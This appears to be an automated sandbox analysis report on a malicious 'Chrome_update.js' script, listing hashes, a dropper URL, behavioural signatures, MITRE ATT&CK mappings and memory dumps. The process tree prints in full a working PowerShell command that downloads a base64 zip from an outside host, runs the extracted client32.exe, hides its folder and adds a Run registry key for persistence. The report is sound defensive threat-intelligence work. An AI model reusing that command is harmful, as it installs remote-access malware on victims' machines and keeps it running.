0c5f218d520d2fbd7c24b86fcf41fc90325edefb920d3aa0caf6705debcb26e4

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
16/12/2023, 18:19

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General

Target

Chrome_update.js
Size

104KB
MD5

d37739ac9f2283dd08e5fb5abf07c7b2
SHA1

99af6ef83e2d195b43e5441da57311dd09ceb669
SHA256

0c5f218d520d2fbd7c24b86fcf41fc90325edefb920d3aa0caf6705debcb26e4
SHA512

7304a447cef3da71937f01975db95d5144b2f0bbc8ad07486eab81492920b1bf68f05f1e01f43648669d567888f489abc07a75bd345ea1dd3011dd0f05331978
SSDEEP

3072:vSyoojJ+SyoojJ+SyoojJpSyoojJRSyoojJJSyoojJh:ayooj/yooj/yoojKyooj+yoojSyoojT

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://mindsnatchers.com/GetImageData.php?12432

exe.dropper

https://mindsnatchers.com/GetImageData.php?12432

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1388	powershell.exe
6	1388	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1388	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1388	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 1388	1988	wscript.exe	28
PID 1988 wrote to memory of 1388	1988	wscript.exe	28
PID 1988 wrote to memory of 1388	1988	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Chrome_update.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $qZQDXPoLrZxTrtz='https://mindsnatchers.com/GetImageData.php?12432';$ieWCGddpnMFfPBtqPpnub=(New-Object System.Net.WebClient).DownloadString($qZQDXPoLrZxTrtz);$ZIflJgNgE=[System.Convert]::FromBase64String($ieWCGddpnMFfPBtqPpnub);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $SokgXTiwsVkXI=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $SokgXTiwsVkXI -PathType Container)) { New-Item -Path $SokgXTiwsVkXI -ItemType Directory };$p=Join-Path $SokgXTiwsVkXI 'rtr.zip';[System.IO.File]::WriteAllBytes($p,$ZIflJgNgE);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$SokgXTiwsVkXI)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $SokgXTiwsVkXI 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $SokgXTiwsVkXI -Force; $FSDFSSD.attributes='Hidden';$s=$SokgXTiwsVkXI+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='DIVXX';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1388-4-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/1388-5-0x0000000002010000-0x0000000002018000-memory.dmp

Filesize
32KB

Download
memory/1388-6-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/1388-7-0x0000000002DC0000-0x0000000002E40000-memory.dmp

Filesize
512KB

Download
memory/1388-8-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download
memory/1388-9-0x0000000002DC0000-0x0000000002E40000-memory.dmp

Filesize
512KB

Download
memory/1388-10-0x0000000002DC0000-0x0000000002E40000-memory.dmp

Filesize
512KB

Download
memory/1388-11-0x0000000002DC0000-0x0000000002E40000-memory.dmp

Filesize
512KB

Download
memory/1388-12-0x0000000002DC0000-0x0000000002E40000-memory.dmp

Filesize
512KB

Download
memory/1388-13-0x000007FEF5090000-0x000007FEF5A2D000-memory.dmp

Filesize
9.6MB

Download